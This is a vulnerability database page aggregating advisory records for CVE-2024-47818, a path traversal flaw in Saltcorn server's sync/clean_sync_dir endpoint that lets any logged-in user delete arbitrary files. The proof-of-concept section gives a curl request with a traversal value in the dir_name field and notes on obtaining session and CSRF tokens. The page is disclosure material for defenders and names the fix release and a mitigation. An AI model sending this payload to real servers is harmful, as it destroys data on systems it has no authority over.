Vulnerability-Lookup

CVE-2024-47818 (GCVE-0-2024-47818)

Vulnerability from cvelistv5 – Published: 2024-10-07 21:10 – Updated: 2024-10-08 14:18

Title

Logged-in users with any role can delete arbitrary files in @saltcorn/server

Summary

Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/saltcorn/saltcorn/security/adv…	x_refsource_CONFIRM
	https://github.com/saltcorn/saltcorn/commit/3c551…	x_refsource_MISC
	https://github.com/saltcorn/saltcorn/blob/v1.0.0-…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	saltcorn	saltcorn	Affected: < 1.0.0-beta.16

Show details on NVD website

JSON

To clipboard

{
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        "affected": [
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            "vendor": "saltcorn_collective_ltd",
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                "timestamp": "2024-10-08T14:13:36.451606Z",
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      "id": "CVE-2024-47818",
      "lastModified": "2024-10-10T12:57:21.987",
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GHSA-43F3-H63W-P6F6

Vulnerability from github – Published: 2024-10-07 15:10 – Updated: 2024-10-08 14:19

Summary

Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

Details

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

create a file in a folder different from where the server is started:

touch /tmp/secret
cat /tmp/secret

log with a user and retrieve valid connect.sid and _csrf values***
send the following curl request

curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'

check if the file previously created does not exist anymore:

cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality: - log in - open the browser developer console, go to the Network tab filter for settings request - visit http://localhost:3000/auth/settings - trigger the change password functionality - under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-beta.15"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-07T15:10:52Z",
    "nvd_published_at": "2024-10-07T22:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) =\u003e {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: \u0027${error.message}\u0027`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $\u0027POST\u0027 \\\n  -H $\u0027Host: localhost:3000\u0027 \\\n  -H $\u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  -H $\u0027Content-Length: 93\u0027 \\\n  -H $\u0027Origin: http://localhost:3000\u0027 \\\n  -H $\u0027Connection: close\u0027 \\\n  -b $\u0027connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true\u0027 \\\n  --data-binary $\u0027_csrf=VALID_CSRF_VALUE\u0026dir_name=/../../../../../../../../../../tmp/secret\u0027 \\\n  $\u0027http://localhost:3000/sync/clean_sync_dir\u0027\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.",
  "id": "GHSA-43f3-h63w-p6f6",
  "modified": "2024-10-08T14:19:02Z",
  "published": "2024-10-07T15:10:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47818"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltcorn/saltcorn"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability"
}

FKIE_CVE-2024-47818

Vulnerability from fkie_nvd - Published: 2024-10-07 22:15 - Updated: 2024-10-10 12:57

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
	security-advisories@github.com	https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a
	security-advisories@github.com	https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability."
    },
    {
      "lang": "es",
      "value": "Saltcorn es un generador de aplicaciones de base de datos extensible, de c\u00f3digo abierto y sin c\u00f3digo. Un usuario conectado con cualquier funci\u00f3n puede eliminar archivos arbitrarios en el sistema de archivos llamando al punto de conexi\u00f3n `sync/clean_sync_dir`. El par\u00e1metro POST `dir_name` no se valida ni se desinfecta y se utiliza para construir el `syncDir` que se elimina llamando a `fs.rm`. Este problema se ha solucionado en la versi\u00f3n de lanzamiento 1.0.0-beta16 y se recomienda a todos los usuarios que actualicen. No existen workarounds conocidas para esta vulnerabilidad."
    }
  ],
  "id": "CVE-2024-47818",
  "lastModified": "2024-10-10T12:57:21.987",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2024-10-07T22:15:04.037",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2024-47818 (GCVE-0-2024-47818)

GHSA-43F3-H63W-P6F6

Summary

Details

PoC

Impact

Recommended Mitigation

FKIE_CVE-2024-47818

Tags

Sightings

Nomenclature